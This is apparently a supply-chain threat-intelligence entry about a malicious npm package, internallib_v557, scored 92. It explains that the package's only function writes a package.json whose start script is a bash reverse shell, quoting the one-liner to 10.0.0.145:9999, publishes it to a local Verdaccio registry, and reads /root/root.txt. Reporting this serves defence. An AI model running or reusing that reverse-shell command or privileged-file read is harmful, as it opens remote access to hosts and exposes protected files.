Supply-chain threat intelligence
Risk score
92
Indexed incident for internallib_v557 (npm).
internallib_v557 has no legitimate functionality — its single exported command() function in index.js writes a malicious package.json to /tmp/uhclabs_local_check/ whose start script is a bash reverse shell to 10.0.0.145:9999 (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.145/9999 0>&1'), then runs npm publish --registry http://0.0.0.0:4873/ to push that reverse-shell-bearing package into a local Verdaccio registry where it can be pulled by other consumers. The same function also executes cat /root/root.txt and logs the contents to stdout, attempting to exfiltrate a privileged host file the package has no legitimate need to read. The harmful path fires when any consumer requires the package and invokes the advertised API; since the package has no other functionality, normal use guarantees compromise.
Affected versions
Indicators
Timeline